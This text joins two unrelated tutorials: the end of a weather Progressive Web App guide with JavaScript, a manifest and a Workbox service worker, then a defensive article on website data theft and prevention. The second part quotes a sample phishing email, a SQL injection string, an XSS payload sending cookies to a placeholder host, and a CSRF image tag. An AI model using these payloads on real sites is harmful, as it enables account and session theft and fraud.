        date.innerHTML = `<strong>${new Date(entry.dt * 1000).toLocaleDateString()}</strong>`;

        const icon = document.createElement('img');
        icon.loading = 'lazy';
        icon.id = 'weather-icon';
        icon.src = iconSrc;
        icon.alt = `${condition} icon`;

        const tempContainer = document.createElement('div');
        tempContainer.className = 'temperature-container';

        const temp = document.createElement('h3');
        temp.id = 'temperature';
        temp.innerHTML = `${Math.round(entry.main.temp)} °C`;

        const description = document.createElement('p');
        description.id = 'weather-description';
        description.innerHTML = `${entry.weather[0].description}`;

        tempContainer.appendChild(temp);
        tempContainer.appendChild(description);
        forecastItem.appendChild(date);
        forecastItem.appendChild(icon);
        forecastItem.appendChild(tempContainer);
        container.appendChild(forecastItem);
      }
    });

    forecastWrapper.appendChild(heading);
    forecastWrapper.appendChild(container);
    fragment.appendChild(forecastWrapper);
    weatherInfo.appendChild(fragment); 
}

// Fetch next 5-day forecast by coordinates
function get5DaysForecast(lat, lon) {
    fetch(
      `https://api.openweathermap.org/data/2.5/forecast?lat=${lat}&lon=${lon}&appid=${CONFIG.WEATHER_API_KEY}&units=metric`
    )
      .then(res => res.json())
      .then(data => {
        requestIdleCallback(() => {
          setTimeout(() => display5DaysForecast(data.list), 0);
        });        
      })
      .catch(() => {
        weatherInfo.innerHTML = 'Error fetching forecast data.';
    });
}

 // Display current weather data
function displayUserWeather(data) {
    const weatherCondition = data.weather[0].main;
    const iconSrc = getWeatherIcon(weatherCondition);

    weatherInfo.innerHTML = `
      <h2 id="city">${data.name}, ${data.sys.country}</h2>

      <div class="current-weather">
        <img loading="lazy" id="weather-icon" src="${iconSrc}" alt="Weather icon">
        <div class="temperature-container">
          <h3 id="temperature"> ${Math.round(data.main.temp)} °C</h3>
          <p id="weather-description">${data.weather[0].description}</p>
        </div>
      </div>

      <div class="weather-details">
        <div class="detail">
          <img loading="lazy" id="humidity-icon" src="/images/humidity.png" alt="Humidity icon">
          <span class="label">Humidity</span>
          <span id="humidity" class="value"> ${data.main.humidity}%</span>
        </div>
        <div class="detail">
          <img loading="lazy" id="wind-icon" src="/images/wind.png" alt="Wind icon">
          <span class="label">Wind</span>
          <span id="wind" class="value"> ${data.wind.speed} m/s</span>
        </div>
      </div>
    `;
  }

// Fetch weather by coordinates
function getWeatherByCoords(lat, lon) {
    fetch(
      `https://api.openweathermap.org/data/2.5/weather?lat=${lat}&lon=${lon}&appid=${CONFIG.WEATHER_API_KEY}&units=metric`
    )
      .then(res => res.json())
      .then(data => {
        displayUserWeather(data);
        get5DaysForecast(lat, lon);
      })
      .catch(() => {
        weatherInfo.innerHTML = 'Please turn on your device&apos;s location to get weather data.';;
      });
  }

// Event listeners for search button and input field
cityName.addEventListener('keypress', (e) => {
    if (e.key === 'Enter') checkWeatherBySearch(cityName.value);
});

  // Search button click event
searchButton.addEventListener('click', ()=>{
    checkWeatherBySearch(cityName.value);
});

// Geolocation button
locationBtn.addEventListener('click', () => {
    if (navigator.geolocation) {
      navigator.geolocation.getCurrentPosition(
        pos => {
          const { latitude, longitude } = pos.coords;
          getWeatherByCoords(latitude, longitude);
        },
        () => {
          weatherInfo.innerHTML = 'Unable to retrieve location.';
        }
      );
    } else {
      weatherInfo.innerHTML = 'Geolocation not supported.';
    }
});


// Load last searched city
window.onload = () => {
    const lastCity = localStorage.getItem('lastCity');
    if (lastCity) {
        checkWeatherBySearch(lastCity);
    }

    if (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(
          pos => {
            const { latitude, longitude } = pos.coords;
            getWeatherByCoords(latitude, longitude);
          },
          () => {
            weatherInfo.innerHTML = 'Unable to retrieve location.';
          }
        );
      } else {
        weatherInfo.innerHTML = 'Geolocation not supported.';
      }
};

Now that we have our weather app. Let’s go further to make it a progressive web app.

How to Create a Manifest File

We need to create a manifest.json file, a critical part of making your app a PWA. We’ll also use pwa-asset-generator, a CLI tool that helps you to generate all the necessary icons and splash screens from a single image (like your logo). This tool also updates your manifest.json and optionally injects relevant <link> tags into index.html.

Below is the manifest.json file containing key properties that define how the Progressive Web App behaves and appears when installed.

{
  "name": "Weatherly",                      // The full name of your app that may be shown to users.
  "short_name": "Weatherly",               // A shorter name used when space is limited, like on the home screen.
  "description": "A simple weather Progressive Web App", // A short description of what your app does.
  "start_url": "/index.html",              // The page that opens when the app is launched from the home screen.
  "display": "standalone",                 // Makes the app look like a native app without browser UI (like address bar).
  "background_color": "#ffffff",           // The background color used when the app is loading.
  "theme_color": "#2196f3",                // The main color of the app’s UI, like the status bar.
  "orientation": "portrait",                // Locks the screen orientation to portrait mode.
   "screenshots": [                         //helps show users a preview of your app before installing it — especially in places like the "Add to Home screen" prompt on Android or in app stores that support PWAs.
        {
          "src": "images/screenshots/desktop-screenshot.png",
          "sizes": "1337x645",
          "type": "image/png",
          "form_factor": "wide"
        },
        {
          "src": "images/screenshots/mobile-screenshot.png",
          "sizes": "720x1417",
          "type": "image/png",
          "form_factor": "narrow"
        }
      ]
}

How to Generate Icons and Splash Screens

Inside your images folder, create a new folder called assets. This will store all the generated icons and splash screens. When your app is launched from the home screen, these splash screens will help improve the user experience on iOS devices.

Run the following command to generate PWA assets, update the manifest.json, and inject <link> tags into index.html

npx pwa-asset-generator logo.png ./images/assets -m manifest.json -i index.html

Injected Link Tags in index.html

Once the command runs successfully, a series of <link> and <meta> Tags will be automatically added to your index.html <head>. These tags ensure support for splash screens and icons across various Apple devices:

<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <!-- Other meta/link tags -->

  <link rel="apple-touch-icon" href="images/assets/apple-icon-180.png">
  <meta name="mobile-web-app-capable" content="yes">

  <link rel="apple-touch-startup-image" href="images/assets/apple-splash-2048-2732.jpg" media="(device-width: 1024px) and (device-height: 1366px) and (orientation: portrait)">
  <link rel="apple-touch-startup-image" href="images/assets/apple-splash-2732-2048.jpg" media="(device-width: 1024px) and (device-height: 1366px) and (orientation: landscape)">
  <!-- ...more splash screen tags for various devices... -->
</head>

Here’s how the manifest.json file should look like now:

{
    "name": "Weatherly",
    "short_name": "Weatherly",
    "description": "A simple weather Progressive Web App",
    "start_url": "/index.html",
    "display": "standalone",
    "background_color": "#ffffff",
    "theme_color": "#2196f3",
    "orientation": "portrait",
    "icons": [
        [
            {
              "src": "images/assets/manifest-icon-192.maskable.png",
              "sizes": "192x192",
              "type": "image/png",
              "purpose": "any"
            },
            {
              "src": "images/assets/manifest-icon-192.maskable.png",
              "sizes": "192x192",
              "type": "image/png",
              "purpose": "maskable"
            },
            {
              "src": "images/assets/manifest-icon-512.maskable.png",
              "sizes": "512x512",
              "type": "image/png",
              "purpose": "any"
            },
            {
              "src": "images/assets/manifest-icon-512.maskable.png",
              "sizes": "512x512",
              "type": "image/png",
              "purpose": "maskable"
            }
          ]
        ],
    "screenshots": [
        {
          "src": "images/screenshots/desktop-screenshot.png",
          "sizes": "1337x645",
          "type": "image/png",
          "form_factor": "wide"
        },
        {
          "src": "images/screenshots/mobile-screenshot.png",
          "sizes": "720x1417",
          "type": "image/png",
          "form_factor": "narrow"
        }
      ]
    }

You can then link your manifest file to your HTML file:

<link rel="manifest" href="manifest.json" />

How to Add WorkBox to Your service-worker.js File

In this tutorial, WorkBox will be added to index.html via CDN. You can copy the import code below or visit WorkBox to get the link. You can then add it to the index.html file by placing the URL inside a <script> tag. You can copy the import code below or visit the WorkBox website for the latest link.

importScripts('https://storage.googleapis.com/workbox-cdn/releases/6.5.4/workbox-sw.js');

How to Create your Service Worker in the service-worker.js File

Here, we’ll implement the necessary functionalities needed to make the weather app a PWA

Step 1: Activate the New Service Worker Immediately

Add workbox.core.skipWaiting() to make the newly installed service worker activate right away instead of waiting for the old one to be removed in the service-worker.js file.

workbox.core.skipWaiting();

Step 2: Take Control of Open Tabs

Add workbox.core.clientsClaim() to ensure that the activated service worker takes control of all currently open pages, so the latest version of your app works immediately across all tabs after it becomes active.

workbox.core.clientsClaim();

Step 3: Check if Workbox is Loaded

Before using Workbox, make sure it has loaded properly.

if (workbox) {
  console.log('Workbox loaded successfully');
} else {
  console.log('Workbox failed to load');
}

This confirms that the workbox object is available and ready to use. If not, the fallback message in the else block will be shown.

We then proceed to create the functions inside the if block

Step 4: Pre-cache Core Files

Pre-cache essential files enable your app to work offline. This caches your app shell (HTML, CSS, JS), so it loads even without a network connection.

workbox.precaching.precacheAndRoute([
    { url: '/index.html', revision: '3' },
    { url: '/style.css', revision: '11' },
    { url: '/app.js', revision: '7' },
    { url: '/images/logo.png', revision: '3' },
    { url: '/manifest.json', revision: '5' },
    { url: '/offline.html', revision: '1' },
  ]);

The revision helps with updating cached files when changes are made.

Step 5: Cache API Responses Dynamically

Set up a route to cache data from your weather API using the NetworkFirst caching strategy. This tells Workbox to try fetching fresh data from the network first. If the network fails, it serves the cached version instead.

 // Cache API requests 
  workbox.routing.registerRoute(
    ({ url }) => url.origin === 'https://api.openweathermap.org',
    new workbox.strategies.NetworkFirst({
      cacheName: 'weather-api-cache',
      plugins: [
        new workbox.expiration.ExpirationPlugin({
          maxAgeSeconds: 24 * 60 * 60,
          maxEntries: 10,
        }),
      ],
    })
  );

Step 6: Dynamic Image Caching

This function enables dynamic caching for images using the StaleWhileRevalidate strategy. When a user requests an image, Workbox first serves it from the cache (if available) for faster load times, while simultaneously fetching an updated version from the network to refresh the cache. This ensures users get a quick response without missing out on updated content. It’s a smart way to handle images by balancing speed and freshness.

// Cache images
  workbox.routing.registerRoute(
    ({ request }) => request.destination === 'image',
    new workbox.strategies.StaleWhileRevalidate({
      cacheName: 'image-cache',
    })
  );

Step 7: Serve Cached Resources

The commonly used static files (like HTML, CSS, JS, fonts, and so on) are served quickly from the cache. It uses the CacheFirst strategy, meaning that the service worker will look in the cache first and only fetch from the network if the file isn’t already stored. The cache is named "static-cache" and it’s set to automatically remove items older than seven days using the expiration plugin. This helps keep the cache fresh and avoids taking up too much space.

  // Serve Cached Resources 
  workbox.routing.registerRoute(
    ({url}) => url.origin === self.location.origin,  
    new workbox.strategies.CacheFirst({
      cacheName: 'static-cache',  
      plugins: [
        new workbox.expiration.ExpirationPlugin({
          maxAgeSeconds: 7 * 24 * 60 * 60,  // Cache static resources for 7 days
        }),
      ],
    })
  );

Step 8: Cache HTML Pages with Offline Support

The index.html page will be handled using the NetworkFirst strategy. This means that the service worker tries to fetch the latest version from the network first. If the user is offline or the network fails, it falls back to the cached version. The cache is named "pages-cache" and the offline fallback page (offline.html) is returned when the requested page isn’t available. This ensures that users can still navigate the app even without an internet connection.

// Serve HTML pages with Network First and offline fallback
workbox.routing.registerRoute(
  ({ request }) => request.mode === 'navigate',
  async ({ event }) => {
    try {
      const response = await workbox.strategies.networkFirst({
        cacheName: 'pages-cache',
        plugins: [
          new workbox.expiration.ExpirationPlugin({
            maxEntries: 50,
          }),
        ],
      }).handle({ event });
      return response || await caches.match('/offline.html');
    } catch (error) {
      return await caches.match('/offline.html');
    }
  }
);

Step 9: Handle When Workbox Doesn’t Load

You should always provide a fallback in case something goes wrong. The if block will have an else block to catch issues during development and debugging.

else {
     console.log('Workbox failed to load');
}

Once the service worker finishes handling the different conditions in the if-else block, we add a general cleanup step to remove any outdated or unused caches.

Step 10: Clean Up Outdated Caches

During the service worker's activation phase, old or unused caches are removed. It compares all existing cache names with a list of current ones (precache, weather-api-cache, image-cache, pages-cache, and static-resources). If a cache doesn’t match the current list, it gets deleted. This helps keep the app lightweight and ensures that outdated data doesn't persist.

// Clean up old/unused caches during activation
self.addEventListener('activate', event => {
  const currentCaches = [
    workbox.core.cacheNames.precache,
    'weather-api-cache',
    'image-cache',
    'pages-cache',
    'static-cache'
  ];

  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (!currentCaches.includes(cacheName)) {
            return caches.delete(cacheName);
          }
        })
      );
    })
  );
});

This is what your service-worker.js file should look like:

importScripts('https://storage.googleapis.com/workbox-cdn/releases/6.5.4/workbox-sw.js');

// Force waiting service worker to become active
workbox.core.skipWaiting();
workbox.core.clientsClaim();

if (workbox) {
  console.log('Workbox loaded successfully');

  // Precache critical files with revisions (update revisions when files change)
  workbox.precaching.precacheAndRoute([
    { url: '/index.html', revision: '3' },
    { url: '/style.css', revision: '11' },
    { url: '/app.js', revision: '7' },
    { url: '/images/logo.png', revision: '3' },
    { url: '/manifest.json', revision: '5' },
    { url: '/offline.html', revision: '1' },
  ]);

  // Cache API requests 
  workbox.routing.registerRoute(
    ({ url }) => url.origin === 'https://api.openweathermap.org',
    new workbox.strategies.NetworkFirst({
      cacheName: 'weather-api-cache',
      plugins: [
        new workbox.expiration.ExpirationPlugin({
          maxAgeSeconds: 24 * 60 * 60,
          maxEntries: 10,
        }),
      ],
    })
  );

  // Cache images
  workbox.routing.registerRoute(
    ({ request }) => request.destination === 'image',
    new workbox.strategies.StaleWhileRevalidate({
      cacheName: 'image-cache',
    })
  );

    // Serve Cached Resources 
  workbox.routing.registerRoute(
    ({url}) => url.origin === self.location.origin,  
    new workbox.strategies.CacheFirst({
      cacheName: 'static-cache',  
      plugins: [
        new workbox.expiration.ExpirationPlugin({
          maxAgeSeconds: 7 * 24 * 60 * 60,  // Cache static resources for 7 days
        }),
      ],
    })
  );

  // Serve HTML pages with Network First and offline fallback
workbox.routing.registerRoute(
  ({ request }) => request.mode === 'navigate',
  async ({ event }) => {
    try {
      const response = await workbox.strategies.networkFirst({
        cacheName: 'pages-cache',
        plugins: [
          new workbox.expiration.ExpirationPlugin({
            maxEntries: 50,
          }),
        ],
      }).handle({ event });
      return response || await caches.match('/offline.html');
    } catch (error) {
      return await caches.match('/offline.html');
    }
  }
);
} else {
  console.log('Workbox failed to load');
}

// Clean up old/unused caches during activation
self.addEventListener('activate', event => {
  const currentCaches = [
    workbox.core.cacheNames.precache,
    'weather-api-cache',
    'image-cache',
    'pages-cache',
    'static-cache'
  ];

  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (!currentCaches.includes(cacheName)) {
            return caches.delete(cacheName);
          }
        })
      );
    })
  );
});

How to Set Up App Installation

The code to install the app will be written in install.js following the steps below:

Step 1: Register the Service Worker

Register the service worker to activate and run it in your app.

if('serviceWorker' in navigator){
    window.addEventListener('load', () => {
      navigator.serviceWorker.register('/service-worker.js').then(reg => {
        reg.onupdatefound = () => {
          const newWorker = reg.installing;
          newWorker.onstatechange = () => {
            if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
              window.location.reload();
            }
          };
        };
      });
    })
 }

Step 2: Enable Custom Install Prompt

Next, we will allow users to install the weather PWA with a custom button. Inside the install.jsfile, add the beforeinstallprompt event which intercepts the default prompt and shows your install button instead. When clicked, it triggers the install prompt.

  let deferredPrompt;

document.addEventListener('DOMContentLoaded', () => {
  const installBtn = document.getElementById('installBtn');

  window.addEventListener('beforeinstallprompt', (e) => {
    e.preventDefault();
    deferredPrompt = e;

    // Show the button
    installBtn.style.display = 'block';

    installBtn.addEventListener('click', () => {
      // Directly triggered by user click
      installBtn.style.display = 'none';

      // Show the install prompt
      deferredPrompt.prompt();

      deferredPrompt.userChoice.then((choiceResult) => {
        if (choiceResult.outcome === 'accepted') {
          console.log('User accepted the install prompt');
        } else {
          console.log('User dismissed the install prompt');
        }
        deferredPrompt = null;
      });
    });
  });

The appinstalled event confirms successful installation.

window.addEventListener('appinstalled', () => {
    console.log('PWA was installed');
  });
});

Step 3: Add script tag to import install.js in index.html

Add the <script> tag for install.js inside the index.html file to include the installation logic.

 <script type="module" src="/js/install.js"></script>

How to Install the Weather App

You can choose to install the Weatherly app on your phone or desktop. Below is a demonstration on how to install it on your mobile phone:

Open the Weatherly app in your browser. You should see an “Install App” button, as shown in the image below. Click on the button to continue.

After clicking, a preview of the app will appear along with an “Install” option, as shown below. Click the Install button.

Once the installation is complete, the Weatherly app will appear on your home screen, just like a native app. And that’s it! Your weather app is now a Progressive Web App (PWA).

Conclusion

Progressive Web Apps combine the best of web and native app experiences, and service workers are the backbone of that functionality. With tools like Workbox, you don’t have to worry about manually handling caching, offline support, or background sync. Its simple APIs and built-in strategies make it easier to build fast, reliable, and installable web apps. Whether it’s a small weather app like Weatherly or a more complex project, Workbox helps you deliver a seamless user experience.

You can check out the full project and assets on GitHub

These days, everyone should have identity theft protections, and be informed about data threats lurking in the trenches of the world-wide-web’s war on privacy and personal information. To prevent hacks, reduce liabilities, and keep information secure, you should know how hackers steal data from websites.

When your precious data is taken, sold, and circulated, the damage is not nearly done. Unlike stolen items, data theft opens up new frightening risks: weeks of auditing, months of new expenses, years of legal consequences, on and on. Stolen website data burns people, steals identities, and hurts businesses.

More than ever, website data theft sustains a torrential stream of new class action lawsuits. Even with careful design and strong internal security practices like employee training and compliance protocols, website data breaches continue to escalate.

Companies, developers, and users all endure the sting of the data breach. News and social media storms publicize the horror of these "heists." Steel-faced cybersecurity starts with knowing hackers’ modes of attack.

In this article, we'll explore common ways that attackers steal data, as well as a step-by-step plan you can use to enhance your website’s security.

What we’ll cover:

• 1. Phishing and Social Engineering

• 2. SQL Injection, XSS, and CSRF

• 3. Brute Force Password Attacks

• 4. Malware and Malicious Scripts

• 5. Man-in-the-Middle Attacks and Public Connections

• 6. Outdated Software and Old Plugins

• 7. APIs, Integrations, and Third-Party Attacks

• Where the Dark Web Dumps Your Data

• Defend Your Data

Hackers employ various tactics to deceive users and exploit website vulnerabilities.

From phishing schemes to aiming to exploit outdated design elements, your first line of defense will be knowing the hacker's most predictable methods.

Here are some of the most common types of attacks:

• High-risk credentials: Sellers organize credentials by platform – like email, banking, social, and so on – and sell batches of these details in bulk.

• Identity fraud: From a dark web identity, attackers could get everything needed to impersonate you (name, birthdate, SSN, address, home title, and more).

• Data trading: Hackers test email, phone, password details across many platforms to capture valuable information and co-opt accounts.

• Individual extortion: Sensitive formats – like private messages, images, or financial records – can be used against victims of data theft as blackmail.

Now let’s take a deeper look into some specific scams and how to protect yourself against them.

1. Phishing and Social Engineering

Phishing and social engineering attacks rely on tricking people, not just machines.

Attackers pose as trusted contacts or organizations and try to manipulate users into revealing sensitive information or performing risky actions. These attacks can come through convincing emails, text messages, and even VoIP phone calls. Some even use AI in call center operations to sound more legitimate.

• Phishing tricks users into revealing sensitive passwords and information by posing as a trustworthy website.

• Social engineering manipulates people to share personal information and lower cybersecurity defenses.

More advanced attempts to steal data are described as spear-phishing or "BEC" (business email compromise).

• Spear-phishing targets individuals with attacks designed for specific individuals or groups.

• Business Email Compromise (BEC) impersonates executives to request or authorize fraudulent transactions.

Here’s an example of a phishing email that may land in your inbox:

This email, ostensibly from AWS, says:

“Dear Valued Customer,

As part of our ongoing security enhancements, we have identified a critical vulnerability affecting your AWS environment. To prevent potential threats and ensure compliance with the latest security standards, an immediate security update is required.

Please log in to the AWS Security Update Portal and confirm your credentials to apply the necessary updates. [Link to portal]

Failure to complete this update within the next 24 hours may result in temporary access restrictions to your AWS account. If you have any questions, please feel free to contact our support team at +1 408 738 7799.

Thank you for your prompt attention to this matter.

Best Regards,
AWS Security Team
(AWS Support ID: #74829)
phone: +1 408 738 7799”

The email appears urgent and looks like it came from a trusted source. But the link leads to a spoofed website designed to steal login credentials. Phishing attacks often use this combination of urgency, official-looking branding, and impersonated email addresses to deceive users.

How to Prevent Phishing and Social Engineering

1. Train users regularly and thoroughly

Educating employees is the most effective first line of defense. Regularly educate employees about phishing tactics, common warning signs, and how to recognize suspicious messages.

In training sessions, include real examples of phishing emails, simulate attacks within your organization, and review the latest tactics used by scammers. Employees should know how to identify red flags like unfamiliar sender addresses, suspicious attachments, and urgent language that pressures immediate action. Reinforce the idea that it's okay to pause and question anything that feels off.

2. Filter emails and use threat detection tools

Use advanced security and email management tools to detect and quarantine phishing attempts before they reach inboxes. For example, cloud email security can help prevent attacks like phishing and ransomware from reaching your users.

These tools scan incoming emails for known malicious links, spoofed sender domains, and odd formatting. Some even add warning banners to emails that originate outside the organization.

3. Require MFA across all systems

Enforce multi-factor authentication across systems, so stolen passwords alone can’t unlock accounts.

Because even the best-trained employees can make mistakes. That’s where MFA comes in – it acts as a strong safety net by requiring an additional step (like a code sent to a phone or biometric login) before granting access to accounts.

This way, even if a password is compromised, attackers can’t log in without the second authentication factor. Make MFA mandatory for all critical tools, including email platforms, cloud services, and administrative panels.

To enable MFA (2-Step Verification) on your Google account:

1. Go to Google Account Settings.

2. Click on Security in the left sidebar.

3. Under "Signing in to Google", select 2-Step Verification and click Get Started.

4. Follow the prompts to verify your password, then choose your second factor (e.g., SMS, authenticator app, or hardware key).

Once enabled, you'll be prompted to enter a code from your second factor every time you log in from an unrecognized device.

4. Verify unusual requests

Instruct users to confirm unusual or sensitive requests by contacting the sender through trusted channels.

Many phishing attacks rely on social engineering tactics that impersonate executives, vendors, or IT staff. Teach employees to never trust high-risk requests such as wire transfers, password resets, or requests for sensitive data without verifying them first.

Emphasize that verification must happen through a separate channel. For example, calling the person directly or messaging them through a known company app. Simply replying to the original email or message could mean continuing the conversation with the attacker.

2. SQL Injection, XSS, and CSRF

Rather than "conning" users, these attacks exploit weaknesses in web elements and architecture.

Using malicious queries, scripts, and requests, hackers can bypass authentication, capture cookie data, and force transactions. They often target the very forms and scripts businesses rely on to capture leads or gather customer data.

SQL Injection

Hackers send SQL codes through form input fields, the search bar, or URL parameters to access website databases. If the input isn't properly validated or sanitized, the database executes the attacker's code that will manipulate and expose sensitive data on the dark web.

SQL injection exploits unvalidated input fields to search, modify, or delete records from within the database.

SQL injection example:

SELECT * FROM users WHERE username = 'admin' --' AND password = '';

Cross-Site Scripting (XSS)

Scripts are injected into web pages, leveraging them against future users.

Cross-Site Scripting (XSS) means that attackers can use scripts on web pages to steal session information from cookies or redirect users to "impersonation" sites.

Here’s how it works: A hacker injects a malicious script into a public form (such as a comment section). The website then displays the comment without sanitizing the content. Eventually, other users load the page and unknowingly run the attacker's script.

XSS example:

<script>document.location='http://malicious-site.com?cookie='+document.cookie;</script>

Cross-Site Request Forgery (CSRF)

These requests manipulate website users into unwanted actions.

Cross-Site Request Forgeries (CSRFs) attacks happen when a malicious site tricks a user’s browser into making an unwanted request to another site where they're already authenticated into transferring funds, changing contact information, or sharing account details.

Here’s an example: A logged-in user visits a malicious website. Without realizing it, the user's browser submits a hidden request to their legitimate bank site. The action (such as transferring money) happens under the user’s logged-in session without their approval.

CSRF example:

<img src="http://bank.com/transfer?amount=1000&to=attacker_account">

How to Prevent Script Injection Hacks

To stop injection and scripted attacks, you and your team need to be aware of how they happen (which you now are) and how to prevent them. This means you’ll need to proactively build security measures into the website's architecture.

These hacks thrive on technical oversight – like unsanitized input fields, insecure headers, and weak session validations.

1. Validate all user input to eliminate unsafe entries

One of the most common ways attackers exploit web applications is by injecting malicious code into unvalidated fields. Every input field, whether it’s for a name, local phone number, or comment, should be treated as a potential attack vector.

Always validate input both on the client side (for user experience) and the server side (for actual security).

For example, a “phone number” field should only accept digits, not special characters or scripts. Without strict validation, attackers can slip malicious code into your application that interacts directly with your database or browser DOM.

2. Use secure frameworks and ORMs to sanitize database queries

Manually writing SQL queries is risky, especially when those queries include user input. Instead, rely on trusted Object-Relational Mapping (ORM) tools like SQLAlchemy for Python, Hibernate for Java, or Eloquent for PHP.

These tools automatically sanitize inputs and parameterize queries, which means injected scripts or SQL statements won’t be executed as commands. This significantly reduces the chances of SQL injection and other code-based attacks that target your database infrastructure.

3. Control what types of content browsers are allowed to load

Cross-site scripting (XSS) attacks often hide malicious code in scripts, images, or style sheets. To stop them, configure strict content security policies (CSPs) that tell browsers which resources are allowed to load on your site.

For instance, you can block JavaScript from third-party domains or restrict images and styles to those hosted on your server. This acts like a parental control system. It ensures that even if an attacker manages to inject a script, it won’t be executed if it violates the CSP rules.

To implement this kind of browser-level protection, you can define a Content Security Policy (CSP) that specifies which sources of content are considered trustworthy. Here's a basic example:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' https://trusted-image-cdn.com;">

In this example, the CSP restricts all content (default-src) to only load from the same origin ('self'). JavaScript, CSS, and images are similarly restricted, with an exception that allows images from a trusted CDN. This kind of rule prevents the browser from loading scripts or assets from unapproved third-party domains.

4. Implement CSRF tokens to protect against cross-site request forgery

Cross-site request forgery (CSRF) tricks users into submitting unwanted actions on a web application where they’re already authenticated – like transferring money or changing passwords.

To stop this, implement unique, per-session CSRF tokens in every form submission. These tokens must be checked server-side to confirm that the request originated from your own site. Without a valid token, the server should automatically reject the request, which prevents attackers from forging it.

Here’s how a CSRF token might look in an HTML form:

<form action="/update-profile" method="POST">
  <input type="hidden" name="csrf_token" value="d7f5e3c2a6b8...">
  <input type="text" name="username">
  <button type="submit">Update</button>
</form>

On the server side, you should generate a unique token per user session and store it securely (for example, in a session or cookie). Every time a form is submitted, the server checks whether the submitted token matches the one it issued. If it doesn't, the request is rejected.

5. Limit user privileges to reduce the blast radius of a breach

Don’t give full access to every user or system area. If lower-level accounts get compromised, limited access can wall off high-value data.

Set strict permission levels across your site, assigning the least privilege necessary for each role. If a lower-level account is compromised – say, a regular user or junior staff login – the damage is contained because that account can’t reach sensitive data or critical systems.

This principle of least privilege is essential for reducing exposure and protecting high-value assets even when other defenses fail.

This is where role-based access control (RBAC) comes in. With RBAC, you assign each user a role (like admin, editor, or viewer), and limit what actions they’re allowed to perform.

For example, in Node.js with Express:

function checkAdmin(req, res, next) {
  if (req.user && req.user.role === 'admin') {
    next();
  } else {
    res.status(403).send('Access denied.');
  }
}

// Apply this middleware to protect admin-only routes
app.post('/delete-user', checkAdmin, (req, res) => {
  // delete logic
});

3. Brute Force Password Attacks

"Simple" attacks are still effective. When users rely on weak and reused passwords, brute force attacks identify login credentials using lists of common passwords and number-word-symbol combinations.

Attackers don’t need insider knowledge to succeed. They bet on patterns of human behavior. Default passwords, especially for shared corporate accounts (like "admin123!") or credentials reused across sites can get leaked in breaches completely unrelated to your website.

Hackers can try thousands of possibilities in two or three seconds. Bots can work to force access by testing 10,000 or 100,000 of the most-used passwords. Even if 1% of these passwords work, hundreds (or thousands) of accounts can be cracked open in two minutes.

How to Stop Brute Force Hacking

Requiring a mix of uppercase, lowercase, numbers, symbols, and character-length minimums can make brute force less attractive. For most sites, minimum password length should be at least 12 characters. Certain sites should demand more.

1. Use temporary account lockouts after multiple failed attempts

Lock accounts temporarily after 5–10 failed login attempts. This is one of the most effective ways to deter brute force attacks as it halts attackers from trying endless password combinations and dramatically slows down their efforts.

Even if an attacker uses bots or distributed IPs, these lockouts force them to start over or wait, buying you time to detect and respond to the threat. Some systems also offer progressive delays or account alerts after repeated failures to add an extra layer of defense.

Here’s an example in Node.js using Express and a simple in-memory store:

const loginAttempts = {}; // Should be stored in a database or cache like Redis in production
const MAX_ATTEMPTS = 5;
const LOCKOUT_TIME = 10 * 60 * 1000; // 10 minutes

function checkLockout(req, res, next) {
  const username = req.body.username;
  const userAttempts = loginAttempts[username] || { count: 0, lockUntil: null };

  if (userAttempts.lockUntil && Date.now() < userAttempts.lockUntil) {
    return res.status(429).send('Account is temporarily locked. Try again later.');
  }

  req.userAttempts = userAttempts;
  next();
}

app.post('/login', checkLockout, (req, res) => {
  const { username, password } = req.body;
  const isValid = authenticate(username, password); // Your auth logic here

  if (!isValid) {
    const attempts = req.userAttempts;
    attempts.count += 1;

    if (attempts.count >= MAX_ATTEMPTS) {
      attempts.lockUntil = Date.now() + LOCKOUT_TIME;
    }

    loginAttempts[username] = attempts;
    return res.status(401).send('Invalid credentials.');
  }

  // Successful login: reset attempts
  delete loginAttempts[username];
  res.send('Login successful!');
});

In production, you'd store login attempt data in a persistent or distributed system like Redis or your database. Many frameworks and platforms also support lockout policies natively or via security libraries, so you can configure them without writing this from scratch.

2. Require MFA to block unauthorized access

Even if a password is guessed, multi-factor authentication (MFA) prompts like a text message or in-app code can block brute force access.

As explained before, with MFA, users must provide a second form of verification – like a time-sensitive code from an authentication app, a push notification, or a text message. This makes it extremely difficult for attackers to succeed, since they rarely have access to the victim’s second device or method of authentication.

3. Add CAPTCHA to prevent bot-driven password guessing

Prevent bots from flooding login endpoints by throttling repeated access or requiring CAPTCHAs.

CAPTCHA tests distinguish human users from bots, forcing attackers to solve visual puzzles or interact with images – something bots can’t easily do. This drastically slows automated attempts and protects your login endpoints from being overwhelmed.

4. Avoid defaults and reused credentials on all systems

Prevent repeating, past, or default credentials on devices, CMS plugins, and admin accounts before going live.

If these aren’t changed before going live, they become open doors for attackers. The same goes for reused credentials from past breaches. Brute force hackers often try known leaked passwords first. Ensure that all accounts – especially those with admin privileges – are set up with unique, strong, and non-repetitive credentials. Implement tools that scan for weak or default passwords before deployment.

4. Malware and Malicious Scripts

The "mal" in malware is short for "malicious." One of the more destructive tools in the hacker arsenal, malware can capture keystrokes, hijack systems, steal data, and introduce many more varieties of unpleasantness:

• Keyloggers record user keystrokes to steal credentials and account numbers.

• Spyware can monitor all user activity and viewed content without consent.

• Ransomware encrypts entire systems and demands payment for safe "return."

Simply visiting a compromised or spoofed site can start installing malware without clicking anything. Hackers also embed malware in online ads by exploiting commercial networks – even on the most "legitimate" sites. Then, free themes, apps, and third-party plugins from unverified publishers can leave websites full of "backdoors."

How to Prevent Website Malware

You can use many tools to scan your website or emails for links, attachments, or media hiding malware packages inside. Regularly run a domain blacklist checker to ensure your site hasn't been flagged by security databases, which can block your domain from emails, search engines, or browser warnings. Outside these findings, stay true to the first principles of safe downloads, smart updates, and secure uploading:

1. Trust only reputable downloads and verified sources

Stick to official repositories, theme stores, and plugin developers with positive reputations and clear authorship when downloading website components like a Wordpress theme, plugins, or JavaScript library.

Avoid “nulled” or cracked versions of paid software, as these are common vehicles for hidden malware. Vet every third-party tool for reputation and transparency before adding it to your tech stack.

